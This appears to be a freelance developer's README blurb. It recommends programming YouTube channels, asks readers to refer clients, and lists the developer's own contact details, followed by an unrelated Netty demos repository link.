----------------------------------------------------- Follow this folks to get better at programming ----------------------------------------------------- -https://www.youtube.com/user/TechGuyWeb?pbjreload=10 -https://www.youtube.com/user/coursera -------------------- Got questions? -------------------- Email or message on facebook i will be happy to help you. ----------------------------------------------------- Help us build more project. ----------------------------------------------------- We are currently looking for a new project , refer a company or student that we can help to develop their application it will be really great help and we will appreciate any client that you can refer. send them details to my email : gonzalesmarkangeloh@gmail.com thank you. ---- -------------------------------- Developer: Mark Angelo Gonzales -------------------------------- ###Contacts Mobile : 09063387451 Email : gonzalesmarkangeloph@gmail.com Facebook : https://www.facebook.com/chromaticph Temporary-Website: http://gonzalesmarkangeloph.dx.am/

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https://github.com/waylau/netty-4-user-guide-demos.git